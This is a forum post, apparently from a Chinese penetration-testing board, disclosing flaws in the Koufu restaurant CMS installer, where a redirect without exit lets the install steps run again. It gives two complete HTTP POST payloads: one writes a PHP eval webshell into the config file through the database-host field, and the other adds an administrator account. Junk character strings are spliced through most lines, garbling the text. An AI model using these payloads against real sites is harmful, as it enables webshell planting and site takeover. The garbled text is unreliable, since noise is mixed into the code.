中国网络渗透测试联盟

标题: 口福科技餐厅cms漏洞(可getshell) [打印本页]

作者: admin    时间: 2012-12-4 11:13
标题: 口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。8 C: }& P. Q: @  I: N' I2 }$ V+ ~: w
# n7 x( W1 d* R: n" s; m( t
<?php
, X  P- P" I3 F$ y$ l4 |if(file_exists("../install.lock"))
  O$ U# Q& G- K! y% q8 U{4 m* J  A5 i0 [6 i/ t) ^) l+ C
    header("Location: ../");//没有退出' ~# y/ v/ e$ E3 R/ {7 s
}2 h# s) O7 \" h" o8 B/ F& j4 t, |& i
               
: C$ \5 D/ L' {& n& \//echo 'tst';exit;- `1 X0 o  U  M  m$ k
require_once("init.php");
% z" z* \. Z1 R2 U/ cif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
5 D" q0 P5 N" v$ R0 Z{! s8 u4 t! S9 _5 Y6 i* L9 W: N
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。/ n$ P8 X  H& c( b# ^. a$ t

: g. x: X! ~0 k1、getshell(很危险)
6 O6 U3 L3 P& ]* l% Y& ?if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
9 R# Z/ p5 h3 ~& M{
4 F( ^1 N2 p9 v" Y9 S3 S7 I; G$smarty->assign("step",1);+ }  `5 M& U% b
$smarty->display("index.html");7 N& g- a: N" j) {9 f
}elseif($_REQUEST['step']==2)4 `0 L) `! B8 \& Q7 Y7 q, L
{7 o& g9 e- ~' A$ H; _0 r/ D( ^9 J9 {
    $mysql_host=trim($_POST['mysql_host']);
( J- v3 [! o( T8 p    $mysql_user=trim($_POST['mysql_user']);& h9 x$ z* ]0 ?* m, F% Q- i
    $mysql_pwd=trim($_POST['mysql_pwd']);
) ~: U/ ^; }, ^9 [+ n    $mysql_db=trim($_POST['mysql_db']);
7 H9 _  v4 u+ V6 ?% H# l    $tblpre=trim($_POST['tblpre']);
. K5 F( h* h. B7 j" B+ W    $domain==trim($_POST['domain']);9 w" c) Y3 f( {: M/ x8 N/ h7 v
    $str="<?php \r\n";- H! \# l9 E- A# `$ G. M
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ ^0 I' V! W5 b# c. r    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";. x& g9 z9 f" }* q- m8 i
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";! s- {* G, @* I9 n' S6 h1 U5 i
    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
$ C: m; ^% _2 L- E    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
! [% m2 V" l1 @/ Z' C: q  \) w    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
7 x. G# o# W" U4 ~    $str.='define("DOMAIN","'.$domain.'");'."\r\n";: K0 J% l. w4 c/ _. n* q* @5 D
    $str.='define("SKINS","default");'."\r\n";
; e+ {. F/ M" j% d. E( h    $str.='?>';" p6 S/ W$ K0 d8 D1 ]3 M0 M1 X7 @5 W
    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件* I  h- A4 a* K' C6 c' F
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
7 @5 s6 ^& y9 V3 l# J! K+ M" hPOST /canting/install/index.php?m=index&step=2 HTTP/1.1  W0 }7 y' B! ^! _9 f# o* T. E6 \% m$ c
Host: 192.168.80.129! S$ ~9 _2 D: d/ G' [8 _
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
( ~1 o  ?2 M' [1 p& w5 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/ Y0 r# d0 G1 o
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.35 F' y* p, J! D% o  I) a
Accept-Encoding: gzip, deflate. W3 f( a+ M8 r$ d, h6 Q( q
Referer: http://192.168.80.129/canting/install/index.php?step=1
9 r# \& E6 d% @3 m$ Z/ t% Q/ mCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( L6 E6 E- \9 _! eContent-Type: application/x-www-form-urlencoded
# E, u3 R2 H- m' ^$ G* w# B6 V, ^Content-Length: 126. P4 T+ {5 {  [' J
         
& A: T- P2 O- ]( Y  z2 Qmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
7 V* d$ ~, A; E但是这个方法很危险,将导致网站无法运行。
5 c* t! P9 E; E4 T5 M# o: Y
/ m: i- y. L3 e3 U2、直接添加管理员4 p% G/ [8 H; E" m' q1 O
' D1 U; g0 e/ ?: }! T! v  ?
elseif($_REQUEST['step']==5)9 V$ M) I" Q- D( T# U7 z
{1 m& f) M/ z6 ]& ^0 E1 E; \) Y8 g
    if($_POST)
( G% c" J  |5 z. i/ D# p" l    {   require_once("../config/config.inc.php");
! z3 Q* E; r& E% Y, U+ q        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
4 k4 a8 c. {) U& [7 z' l        mysql_select_db(MYSQL_DB,$link);+ U4 x- m/ }* X  G/ }% ^+ J! w
        mysql_query("SET NAMES ".MYSQL_CHARSET );7 f+ L( I" G1 X* m0 x9 [, R0 {  q
         mysql_query("SET sql_mode=''");
$ W3 a4 I& [/ \; H; p' `0 D2 g% e6 R& T* G2 G5 J" J
$adminname=trim($_POST['adminname']);
% m$ j: g( c& W4 s" n        $pwd1=trim($_POST['pwd1']);# o3 @+ }/ G/ f4 T4 z6 z: U& C
        $pwd2=trim($_POST['pwd2']);
/ B/ M3 N. X* m, B: P& {& t        if(empty($adminname))' K6 F3 ]6 U& K
        {
# X3 o2 n- U3 F8 A' _
0 D+ B( p, {' A echo "<script>alert('管理员不能为空');history.go(-1);</script>";
+ Q: |/ J! }) z% z9 f            exit();
) l7 R$ }1 o, c. h: {        }$ e) ]  x& c+ M; C
        if(($pwd1!=$pwd2) or empty($pwd1))' V! K) c9 o5 o# j( C' f
        {! [3 _% E) X8 S* u
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
. f2 X6 v# U: L3 o7 ~4 m' o' Y        }
1 J5 a8 H6 k; z- \0 N) ^        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员2 W  X9 H. q% M; F2 [, r
    }4 \4 Z0 T% B: E% E
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:4 G, s# v+ {- d) J, ~, s
POST /canting/install/index.php?m=index&step=5 HTTP/1.1' n! d# z6 _/ f- ~2 V* A
Host: 192.168.80.1296 w# V5 v0 K: E; V0 p: e8 U
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 {& o/ y& U. B! D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/ E+ W) n0 W+ v
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3& b% W6 K9 @- \6 ?+ y* W
Accept-Encoding: gzip, deflate
# C0 q  b9 r5 |9 d( A9 f. q) IReferer: http://www.2cto.com /canting/install/index.php?step=1# _0 \/ O* `/ L  H+ w- E# t, A
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
+ [5 ~% r5 h7 I' r! s% l' TContent-Type: application/x-www-form-urlencoded
3 B- I2 ]7 Y5 @9 CContent-Length: 46) ?! ]9 D# |1 D
      
; R7 d& h7 o; }7 ~( J9 L) Fadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
1 D& B* T2 U( m( s) x4 \




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2